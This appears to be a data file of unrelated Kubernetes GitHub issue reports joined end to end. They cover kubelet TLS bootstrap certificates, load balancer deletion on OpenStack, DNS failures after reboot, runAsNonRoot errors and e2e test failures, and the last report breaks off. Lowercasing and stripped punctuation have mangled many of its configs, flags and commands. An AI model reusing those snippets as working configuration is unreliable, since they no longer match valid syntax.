docker-1.13.1-75.git8633870.el7.centos.x86_64

bug report   kubernetes version    use  kubectl version  : v1.4.0    environment  : coreos on gce using custom clustering -   cloud provider or hardware configuration  : gce -   os    e.g. from /etc/os-release :  coreos 1122.2.0 -   kernel    e.g.  uname -a  : 4.7.0 -   install tools  : -   others  :    what happened  : i started a the kube-controller-manager with flags --cluster-signing-cert-file & --cluster-signing-key-file and kubelet with with the flag --experimental-bootstrap-kubeconfig & --require-kubeconfig, the kubelet generate new signed cert and key using the crs on controller-manager and generate an kubeconfig that references them. but when the kubelet starts the logs show it also generates the self-signed cert and key ignoring the value in the newly generated kubeconfig.    what you expected to happen  : i expect the kubelet to use the generated signed certs provided by the kube-controller-manager  kubelet-client.crt/kubelet-client.key  and not the generate any self-signed certs  kubelet.crt/kubelet.key  at all. once restarted i expect the kubelet to use the values in the kubeconfig not use default values that aren't listed in any config    how to reproduce it    as minimally and precisely as possible : should be fairly simple to reproduction following the tls bootstrap setup. if the certs, key and kuebconfig are removed the bootstrap kubeconfig is used again and both signed and self-sign certs are regenerated.    anything else do we need to know  :  kubelet options      execstartpre=/usr/bin/mkdir -p /etc/kubernetes/manifests /var/lib/kubelet /var/run/kubernetes execstartpre=/bin/bash -c '/usr/bin/wget -n -p /opt/bin https://storage.googleapis.com/kubernetes-release/release/${k8s_version}/bin/linux/amd64/kubelet' execstartpre=/usr/bin/chmod +x /opt/bin/kubelet execstart=/opt/bin/kubelet \\       --allow-privileged=true \\       --cloud-provider=gce \\       --v=4 --address=0.0.0.0 --enable-server \\       --container-runtime=docker \\       --pod-manifest-path=/etc/kubernetes/manifests \\       --cluster-dns=${kube_dns_ip4v} \\       --cluster-domain=${cluster_name}.k8s.${domain} \\       --port=10250 \\       --read-only-port=10255 \\       --logtostderr=true \\       --register-schedulable=true \\       --feature-gates=allowexttrafficlocalendpoints=true \\       --reconcile-cidr=true \\       --network-plugin=kubenet \\       --require-kubeconfig \\       --kubeconfig=\ /var/lib/kubelet/kubeconfig\  \\       --experimental-bootstrap-kubeconfig=\ /var/lib/kubelet/bootstrap-kubeconfig\  \\       --node-labels=\ instance_type=${instance_type},instance_role=${role}\       bootstrap-kubeconfig      apiversion: v1 kind: config users: - name: kubelet-bootstrap   user:     token: randomtoken clusters: - cluster:     server: https://<apiserver_fqdn>     certificate-authority: /var/run/kubernetes/ca.crt   name: cluster contexts: - context:     cluster: cluster     user: kubelet-bootstrap   name: bootstrap-context current-context: bootstrap-context      generated kubeconfig      apiversion: v1 clusters: - cluster:     certificate-authority: /var/run/kubernetes/ca.crt     server: https://<apiserver_fqdn>   name: default-cluster contexts: - context:     cluster: default-cluster     namespace: default     user: default-auth   name: default-context current-context: default-context kind: config preferences: {} users: - name: default-auth   user:     client-certificate: /var/run/kubernetes/kubelet-client.crt     client-key: /var/run/kubernetes/kubelet-client.key      logs from kubelet on a worker      oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.094368   15142 feature_gate.go:161  feature gates: map allowexttrafficlocalendpoints:true  oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.096402   15142 gce.go:325  using existing token source &oauth2.reusetokensource{new:google.computesource{account:\ \ }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil } oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.097451   15142 server.go:355  successfully initialized cloud provider: \ gce\  from the config file: \ \  oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.097487   15142 server.go:475  cloud provider determined current node name to be ds-eu1-wk2-0 oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.097508   15142 bootstrap.go:64  using bootstrap kubeconfig to generate tls client cert, key and kubeconfig file oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.427435   15142 server.go:490  using self-signed cert  /var/run/kubernetes/kubelet.crt, /var/run/kubernetes/kubelet.key  oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.427471   15142 docker.go:375  connecting to docker on unix:///var/run/docker.sock oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : i1004 13:44:54.427482   15142 docker.go:395  start docker client with request timeout=2m0s oct 04 13:44:54 ds-eu1-wk2-0 kubelet 15142 : e1004 13:44:54.427546   15142 cni.go:163  error updating cni config: no networks found in /etc/cni/net.d      files in /var/run/kubernetes      ls -la /var/run/kubernetes/ total 20 drwxr-xr-x.  2 root root  140 oct  4 13:44 . drwxr-xr-x. 24 root root  660 oct  4 10:29 .. -rw-r--r--.  1 root root 3266 oct  4 13:44 ca.crt -rw-r--r--.  1 root root 1139 oct  4 13:44 kubelet-client.crt -rw-------.  1 root root  227 oct  4 13:44 kubelet-client.key -rw-r--r--.  1 root root 1123 oct  4 13:44 kubelet.crt -rw-------.  1 root root 1675 oct  4 13:44 kubelet.key

looking at the cri runtime service, i am wondering what  stoppodsandbox  is useful for.\r according to the code comments, i understand  stoppodsandbox  main role is to reclaim all pod resources, but then from a  stoppodsandbox  call one can only move to a  removepodsandbox  one.\r \r in other words, it seems to me that  stoppodsandbox  is a redundant state machine transition and could be potentially removed if  removepodsandbox  would also take care of reclaiming all resources. as a matter of fact, some cri implementations already assume it should do that.\r \r what am i missing ?\r \r cc @runcom @mrunalp

read method from the stackdriver logging api, used in these tests is slow  o 1  qps , sequential and quotas for this api is low, b/c the method was not designed to use with automated tools. instead, recommended way for using stackdriver logging api is creating a pubsub sink and then reading from the pubsub topic, this way tests will be much faster and there will be no issues with quotas.\r \r related issue: https://github.com/kubernetes/kubernetes/issues/43442

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r    is this a bug report or feature request?  : bug\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r \r i delete a service:\r    \r kubectl delete service my-nginx\r    \r kubernetes is never able to delete the loadbalancer from openstack\r    \r $ kubectl get events\r lastseen   firstseen   count     name        kind      subobject   type      reason                       source               message\r 3m         3m          1         my-nginx                   service                                  normal    creatingloadbalancer         service-controller       creating load balancer\r 2m         2m          1         my-nginx                   service                                  normal    createdloadbalancer          service-controller       created load balancer\r 2s         1m          5         my-nginx                   service                                  normal    deletingloadbalancer         service-controller       deleting load balancer\r 42s        1m          4         my-nginx                   service                                  warning   deletingloadbalancerfailed   service-controller       error deleting load balancer  will retry : resource not found\r    \r the problem is that there are no health monitors in openstack, and kubernetes refuses to go on and delete pools and loadbalancers and listeners.\r on the neutron server i see delete requests without the health-monitor uuid, because the list of healthmonitors is empty.\r \r \r \r   what you expected to happen  :\r the loadbalancer is deleted.\r \r in case the health monitors list is empty kubernetes should go on and delete the rest of the load balancer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl run my-nginx --image=nginx --replicas=2 --port=80\r kubectl expose deployment my-nginx --port=80 --type=loadbalancer\r kubectl delete service my-nginx\r kubectl get events\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r openstack newton\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r https://github.com/zioproto/k8s-on-openstack\r - others:\r

the environment variable gce_alpha_features is not set correctly in the test custer.

 \r   what happened  :\r during an upgrade to kubernetes 1.10.x our working deployments began to fail.\r \r   what you expected to happen  :\r our bespoke php service could not contact a required redis deployment  bitnami/redis:4.0.8-r7  or a customised rabbitmq installation  rabbitmq:3.6-alpine , these were previously tested and working with k8s-1.8.0.\r \r   how to reproduce it  as minimally and precisely as possible   :\r any new deployments installed in k8s 1.10.x should not be able to update via the package manager  independent of image  and also have flaky connectivity to externally addressed services.\r \r   anything else we need to know?  :\r because the permissions set basically only allows the root user to access/modify the resolv.conf file running dns diagnostics from an affected deployments shell will appear to work correctly, causing much confusion.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.2\r - cloud provider or hardware configuration: maas\r

https://k8s-testgrid.appspot.com/sig-node-containerd e2e-ubuntu\r   https://k8s-testgrid.appspot.com/sig-node-containerd containerd-e2e-ubuntu\r \r it passes on cos.\r \r @kubernetes/sig-node-bugs @kubernetes/sig-storage-bugs \r /cc @yguo0905 @verult

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r e0820 14:40:39.306462       1 leaderelection.go:234  error retrieving resource lock kube-system/ceph.com-rbd: endpoints \ ceph.com-rbd\  is forbidden: user \ system:serviceaccount:default:rbd-provisioner\  cannot get endpoints in the namespace \ kube-system\ \r \r   what you expected to happen  :\r i install ceph.com/rbd provisioner in default namespace, and all rbac stuff in default namespace, it shouldn't to acquire anything in kube-system.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r    vmware\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux cloudnative 4.4.0-124-generic  148-ubuntu smp wed may 2 13:00:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r e2e test suites for:\r - get /api/v1/componentstatuses/{name}\r \r   why is this needed  :\r \r the above api is not performed in current e2e test. by adding test for it, e2e test coverage is improved.\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r dns resolution is not happening after node reboot\r \r   what you expected to happen  :\r dns resolution should work as expected \r \r   how to reproduce it  as minimally and precisely as possible   :\r - install kubernetes using  kubeadm . single node installation on centos 7\r - install required app/pod \r - everything works just fine\r - reboot\r - dns resolution for services starts to fail\r \r   anything else we need to know?  :\r after reboot i able to see this change in ip tables    drop rule  \r ! image  https://user-images.githubusercontent.com/13759916/52547731-a0d10f80-2def-11e9-8b4d-a51fb1375614.png \r \r i tried changing that to accept also, still it is not working \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.7\ , gitcommit:\ 65ecaf0671341311ce6aea0edab46ee69f65d59e\ , gittreestate:\ clean\ , builddate:\ 2019-01-24t19:22:45z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r - bare metal\r - centos linux release 7.6.1810  core  - minimal installation\r - 3.10.0-957.5.1.el7.x86_64  1 smp fri feb 1 14:54:57 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - os  e.g. from /etc/os-release :\r  centos linux release 7.6.1810  core   \r - kernel  e.g.  uname -a  :\r  linux cloud12 3.10.0-957.5.1.el7.x86_64  1 smp fri feb 1 14:54:57 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r  kubeadm \r - others:\r \r \r please let me know how to check if there are any errors. in core-dns pods i am not able to see any errors

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r example status on v1.14.1:  chartmuseum               chartmuseum-chartmuseum-696d8d5bc4-xkntr                      1/1     running  \r after upgrading to v1.14.2:  chartmuseum               chartmuseum-chartmuseum-696d8d5bc4-wk7kl                      0/1     createcontainerconfigerror \r \r reverting to 1.14.1 brings the container back to running state.\r \r kubectl describe shows  error: container has runasnonroot and image will run as root  on 1.14.2\r \r same thing for the ingress-nginx default-backend pods. controllers kept running, defaultbackends went to createcontainerconfigerror.\r \r   what you expected to happen  :\r pods should keep on running without issues.\r \r   how to reproduce it  as minimally and precisely as possible   :\r helm install stable/chartmuseum on a cluster with pod security policies enabled.\r \r   anything else we need to know?  :\r \r   environment  : bare metal, installed with kubespray 2.10\r - kubernetes version  use  kubectl version  :\r \r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:14:56z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: vmware\r - os  e.g:  cat /etc/os-release  :\r name=\ container linux by coreos\ \r id=coreos\r version=2079.4.0\r version_id=2079.4.0\r build_id=2019-05-15-0808\r pretty_name=\ container linux by coreos 2079.4.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r - kernel  e.g.  uname -a  :\r linux k8s001-api001 4.19.43-coreos  1 smp wed may 15 07:18:39 -00 2019 x86_64 intel r  xeon r  cpu e5-2680 v4 @ 2.40ghz genuineintel gnu/linux\r - install tools: kubespray 2.10\r - network plugin and version  if this is a network-related bug : calico 3.4\r - others:\r

componentconfig is not an api served by apiserver, so it doesn't belong in /apis.  the config objects for components belong with those components, similar to scheduler config: https://github.com/kubernetes/kubernetes/tree/master/plugin/pkg/scheduler/api  as an aside, we've also discussed moving more code into cmd: https://github.com/kubernetes/kubernetes/issues/4851 issuecomment-132088777  cc @mikedanese @lavalamp

services should be able to declare that they want a specific dns name.  we should define a label/annotation or other way for a service to specify that it wants a dns name, and have a controller that creates it.  we should have integrations with route53  & presumably the gce equivalent

during writing container attach node e2e test, i found this.  docker attach has an option called  logs   see  docker remote api  https://docs.docker.com/engine/reference/api/docker_remote_api_v1.22/ attach-to-a-container  . with this on, before each container attach docker will print the container log first  see  code  https://github.com/docker/docker/blob/5709f8e4227e0e1da333739c44003a3f47279bd5/daemon/attach.go l77-l106    the  logs  option is supported in go-dockerclient  see  code  https://github.com/fsouza/go-dockerclient/blob/master/container.go l1127  , while it is not supported in engine-api yet  see  code  https://github.com/docker/engine-api/blob/8924d6900370b4c7e7984be5adc61f50a80d7537/types/client.go l14-l21  .  before  switching to engine-api   23506 , the  logs  option is   true    see  old code  https://github.com/kubernetes/kubernetes/blob/release-1.2/pkg/kubelet/dockertools/manager.go l1115  . while because engine-api doesn't support it, we don't set it now  see  code  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/kube_docker_client.go l324-l331    what is the expected behavior here? if needed, we could send a pr to engine-api to support it.  @ncdc   /cc @kubernetes/sig-node @kubernetes/rh-ux   ref  23563

there are several improvements that we just didn't do in the interest of time:     1. auto gen, verify  and check-in the image list. currently it's hardcoded in the yaml. see discussion on pr  https://github.com/kubernetes/kubernetes/pull/25784 . 2. make the static pod a daemon set  3. make it work cross platform by generating a daemon/pod that has each image in the checked in list from  2  as a container, with a custom entrypoint of \ exit 0\   1 is a process changes not worth investing in till we're sure prepulling images is worth it. we need to clearly define: - how we find the images  my initial pr had a simple grep, clearly many options  - how often/who updates this list - where it's checked in - how it gets on the node  to do 2, 3 we need to fix:      beeps@bitrot:~/goproj/src/k8s.io/kubernetes$ k create -f /tmp/d.yaml the daemonset \ prometheus-node-exporter\  is invalid. spec.template.spec.restartpolicy: unsupported value: \ never\ : supported values: always      or put in enough work around that pod  go code that pulls via docker api and respects retries, surfaces errors etc  that we're comfortable with a  restart: always  policy.

this will break when we add templates @pwittrock @bprashanth @bparees.  it looks like jsonpath either needs special handling for  rawextension , or we have to switch to json when we hit an object we don't recognize.

is this a bug report or feature request?    choose one : bug    kubernetes version    use  kubectl version  : 1.3.5 and 1.3.3    environment  : -  _openstack liberty  _: -   os    e.g. from /etc/os-release : centos linux 7  core  - x86_64-genericcloud-1605 image -   kernel    e.g.  uname -a  : 3.10.0-327.18.2.el7.x86_64 -   install tools  : openstack-heat -   others  :    what happened  : i was following the instalation based on http://kubernetes.io/docs/getting-started-guides/openstack-heat/ i have dowloaded kubernetes from release page https://github.com/kubernetes/kubernetes/releases  kubernetes stack installed correctly, however when i try to connect to   https://master-ip-address/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard   i am prompted for password - i provide \ user\  and \ password\  and i get web page with:  forbidden: \ /api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard\      what you expected to happen  : log in to the kubernetes dashboard    how to reproduce it    as minimally and precisely as possible : follow the tutorial at http://kubernetes.io/docs/getting-started-guides/openstack-heat/  i have also had to comment 2 lines in  cluster/openstack-heat/kubernetes-heat/kubeminion.yaml - line 375 - 376 cluster/openstack-heat/kubernetes-heat/kubecluster.yaml - line 351 - 352      allowed_address_pairs:   - ip_address: 10.246.0.0/16      since heat was giving me following error:  error validating value '10.246.0.0/16': invalid ip address     anything else do we need to know  :       minion@kubernetes-master ~ $ kubectl cluster-info kubernetes master is running at http://localhost:8080 elasticsearch is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging heapster is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/heapster kibana is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kibana-logging kubedns is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns kubernetes-dashboard is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard grafana is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana influxdb is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/monitoring-influxdb  to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.  minion@kubernetes-master ~ $ kubectl config view apiversion: v1 clusters:    contexts:    current-context: \ \  kind: config preferences: {} users:

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/2140/  failed:  k8s.io  downward api volume should set defaultmode on files  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 expected error:     < url.error | 0xc820ec6e40>: {         op: \ get\ ,         url: \ https://104.196.158.3/api/v1/watch/namespaces/e2e-tests-downward-api-z51wm/serviceaccounts?fieldselector=metadata.name%3ddefault\ ,         err: {},     }     get https://104.196.158.3/api/v1/watch/namespaces/e2e-tests-downward-api-z51wm/serviceaccounts?fieldselector=metadata.name%3ddefault: net/http: tls handshake timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:230

currently, the deployment controller relabels replica sets and pods when it needs to adopt a replica set for a deployment. it would be more convenient to have a replica set endpoint that would force the replica set controller to do all the relabeling  change pod template labels, update old pods, change selector . the implementation should be similar to how the rollback spec works for deployments.\r \r it would help:\r   users that want to change their selectors but have no good way to relabel old pods. we are adding  kubectl set selector  in https://github.com/kubernetes/kubernetes/pull/28949 enabled only for services. eventually, we could enable it for controllers by using the new endpoint.\r   in dropping the pod update permission from the deployment controller and move any logic around pods one level down to replica sets  deployments should operate only on replica sets .\r \r @kubernetes/api-review-team @kubernetes/sig-api-machinery @ncdc @liggitt @bgrant0607

pods can still be terminating after the respective namespace they are running in is removed from the api server:\r    \r $ kc get ns\r name               status        age\r default            active        9m\r kube-system        active        9m\r openshift-origin   terminating   33s\r $ kc get ns\r name          status    age\r default       active    9m\r kube-system   active    9m\r $ kc get po\r name                         ready     status        restarts   age\r etcd-1796422219-cn9kq        1/1       terminating   0          38s\r etcd-1796422219-v72m8        1/1       terminating   0          38s\r etcd-1796422219-xjvxk        1/1       terminating   0          38s\r openshift-2402008881-fgt05   0/1       terminating   0          37s\r    \r it seems like the namespace should be removed  after  all pods are removed from the api server.\r @derekwaynecarr @smarterclayton

i saw this in the kubelet logs:\r \r    \r feb 21 01:26:28 ip-172-20-48-152 kubelet 1208 : e0221 01:26:28.803875    1208 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: unknownerror: unknown error\r feb 21 01:26:28 ip-172-20-48-152 kubelet 1208 : e0221 01:26:28.818028    1208 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: unknownerror: unknown error\r feb 21 01:26:28 ip-172-20-48-152 kubelet 1208 : e0221 01:26:28.820542    1208 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: unknownerror: unknown error\r feb 21 01:26:28 ip-172-20-48-152 kubelet 1208 : e0221 01:26:28.836201    1208 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: unknownerror: unknown error\r feb 21 01:26:28 ip-172-20-48-152 kubelet 1208 : e0221 01:26:28.868791    1208 kubelet_node_status.go:302  error updating node status, will retry: failed to get node address from cloud provider: unknownerror: unknown error\r    \r \r  curl http://169.254.169.254/latest/meta-data/local-ipv4  and  curl http://169.254.169.254/latest/meta-data/public-ipv4  were working from the host.\r \r describe node showed that it had stopped posting node status:\r    \r conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tunknown \ttue, 21 feb 2017 01:24:58 +0000 \ttue, 21 feb 2017 01:25:41 +0000 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   memorypressure \tfalse \t\ttue, 21 feb 2017 01:24:58 +0000 \tsat, 18 feb 2017 02:13:22 +0000 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \t\ttue, 21 feb 2017 01:24:58 +0000 \tsat, 18 feb 2017 02:13:22 +0000 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\tunknown \ttue, 21 feb 2017 01:24:58 +0000 \ttue, 21 feb 2017 01:25:41 +0000 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   networkunavailable \tfalse \t\tsat, 18 feb 2017 02:13:57 +0000 \tsat, 18 feb 2017 02:13:57 +0000 \troutecreated \t\t\troutecontroller created a route\r    \r \r tcpdump showed requests to the iam metadata endpoint, but it showed no requests to the ec2 local-ipv4 / public-ipv4 endpoints.\r \r restarting kubelet caused it to recover, and we saw requests to the local-ipv4 / public-ipv4 endpoints again.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/1/ multiple broken tests:  failed: install_gcloud {pre-setup}                      your current cloud sdk version is: 146.0.0 installing components from version: 146.0.0  +----------------------------------------------------+ |        these components will be installed.         | +-----------------------------+------------+---------+ |             name            |  version   |   size  | +-----------------------------+------------+---------+ | gcloud-deps  linux, x86_64  | 2017.02.21 | 3.9 mib | +-----------------------------+------------+---------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... ...........failed. warning: post processing failed.  run  gcloud info --show-log  to view the failures.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                   issues about this test specifically:  32669  36416  36842  40203  42227   failed:  k8s.io  services should be able to change the type and ports of a service  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:777 mar  6 12:07:11.311: could not reach http service through 52.55.212.109:30720 after 5m0s: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:670     issues about this test specifically:  26134   failed:  k8s.io  services should only allow access from service loadbalancer source ranges  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1221 expected error:     < errors.errorstring | 0xc420415bf0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:611     issues about this test specifically:  38174   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048

seeing this in v1.6.1.\r \r 1. create a deployment and a service\r \r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: hello-openshift\r spec:\r   selector:\r     app: hello\r   ports:\r     - protocol: tcp\r       port: 80\r       targetport: 80\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: hello-openshift \r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: hello\r     spec:\r       containers:\r       - name: hello-openshift\r         image: openshift/hello-openshift\r         ports:\r         - containerport: 80\r    \r \r 2. on the deployment add an ownerref that points back to the service\r 3. kubectl delete the service\r \r the service and the deployment are deleted, but the replicaset and pods remain.  this is neither orphan nor foreground/background policy. this behavior should never happen.\r \r note: if i make a delete call to the api with propagationpolicy set explicitly then things behave as expected, so this only occurs when the resource's default propagation policy is being used.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kube-apiserver --help still shows this:\r    \r  dynamicvolumeprovisioning=true|false  alpha - default=true \r    \r \r it looks like the related feature can be turned off. however, dynamic volume provisioning alpha has retried in 1.6.\r \r   what you expected to happen  :\r \r remove  dynamicvolumeprovisioning  from feature gate to avoid confusion.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  kube-apiserver --help \r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7+\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools:\r - others:\r

on request by @enisoc @jdumars and the @kubernetes/kubernetes-release-managers, i'm creating this tracking issue for the  kubernetes/kubeadm  repo.\r \r i'm tracking what we need to get done for kubeadm to be in a release-able state in this milestone: https://github.com/kubernetes/kubeadm/milestone/4\r \r actions required by the release team or vice versa will be communicated via this channel.\r when all the kubeadm tasks are done, we can close this umbrella issue.\r \r note: this is the same issue as https://github.com/kubernetes/kubernetes/issues/51841 was for v1.8

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r when i run iscsi e2e on my local environment, test in volume_io.go always fails.\r \r    \r summarizing 1 failure:\r \r  fail   sig-storage  volume plugin streaming  slow  iscsi  feature:volumes   it  should write files of various sizes, verify size, validate content \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:371\r \r ran 2 of 705 specs in 199.174 seconds\r fail! -- 1 passed | 1 failed | 0 pending | 703 skipped --- fail: teste2e  199.19s \r fail\r    \r \r    \r  sig-storage  volume plugin streaming  slow  iscsi  feature:volumes  \r   should write files of various sizes, verify size, validate content\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:364\r  beforeeach   sig-storage  volume plugin streaming  slow \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134\r step: creating a kubernetes client\r dec  1 17:32:10.475: info: >>> kubeconfig: 